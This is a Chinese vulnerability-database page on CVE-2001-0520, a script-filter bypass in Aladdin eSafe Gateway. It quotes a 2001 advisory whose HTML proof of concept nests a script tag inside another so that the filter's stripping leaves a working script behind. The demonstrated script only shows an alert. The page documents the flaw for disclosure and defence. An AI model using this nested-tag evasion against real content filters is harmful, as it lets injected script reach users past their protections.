Aladdin eSafe Gateway过滤绕过漏洞-安全小百科

Aladdin eSafe Gateway过滤绕过漏洞

漏洞ID	1106351	漏洞类型	未知
发布时间	2001-05-20	更新时间	2001-08-14
CVE编号	CVE-2001-0520	CNNVD-ID	CNNVD-200108-051
漏洞平台	Multiple	CVSS评分	7.5

|漏洞来源

https://www.exploit-db.com/exploits/20869
https://www.securityfocus.com/bid/88824
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200108-051

|漏洞详情

AladdineSafeGateway3.0版本及之前版本存在漏洞。远程攻击者可以通过在某些含（1）BODY标签中的装载，（2）A标签中的超链接，（3）BUTTON标签，（4）INPUT标签或（5）脚本可被定义的其他任何一个标签的HTML标签内嵌入脚本来绕过SCRIPT标签的过滤。

|漏洞EXP

source: http://www.securityfocus.com/bid/2750/info

eSafe Gateway is a security utility used for filtering internet content.

An html file may be crafted to bypass the script-filtering feature offered by eSafe Gateway. This is done by simply changing the syntax of the <SCRIPT> function in such a way as to trick the filter into generating html that still includes a call to execute the script.

Note: There are currently conflicting details regarding this vulnerability. It has been reported that version 3.0 of eSafe Gateway is not vulnerable. The author of the advisory insists that versions 2.x are vulnerable, while the vendor claims that script filtering was not a feature in these versions. Forthcoming updates will be released as more information becomes available.

Details
----------------------
Let's say for example that we want the following HTML code to enter an
organization and the script it contains to be executed:

<HTML><HEAD></HEAD>
<BODY>
<SCRIPT language="JavaScript">
alert("hi");
</SCRIPT>
</BODY></HTML>

If we run this page through eSafe's filtering engine, the script will be
filtered and the resulting with the following HTML code:

<HTML><HEAD></HEAD>
<BODY>

</BODY></HTML>

However, if we create the following code:

<HTML><HEAD></HEAD>
<BODY>
<SCRIPT<script language="javascript"> </script> language="javascript">
alert("hi");
</SCRIPT>
</BODY></HTML>

Then the inner "<script language="javascript"> </script>" will be extracted
and we will be left with the following HTML code:

<HTML><HEAD></HEAD>
<BODY>
<SCRIPT language="javascript">
alert("hi");
</SCRIPT>
</BODY></HTML>

|受影响的产品

Aladdin Knowledge Systems Esafe Gateway 3.0

|参考资料

来源:XF
名称:esafe-gateway-bypass-filtering(6580)
链接:http://xforce.iss.net/static/6580.php
来源:BUGTRAQ
名称:20010529AladdineSafeGatewayScript-filteringBypassthroughHTMLtags
链接:http://archives.neohapsis.com/archives/bugtraq/2001-05/0284.html

相关推荐: NT IMail Imapd Buffer Overflow DoS Vulnerability

NT IMail Imapd Buffer Overflow DoS Vulnerability 漏洞ID 1104832 漏洞类型 Boundary Condition Error 发布时间 1999-03-01 更新时间 1999-03-01 CVE编号 …

文章版权归作者所有，未经允许请勿转载。

THE END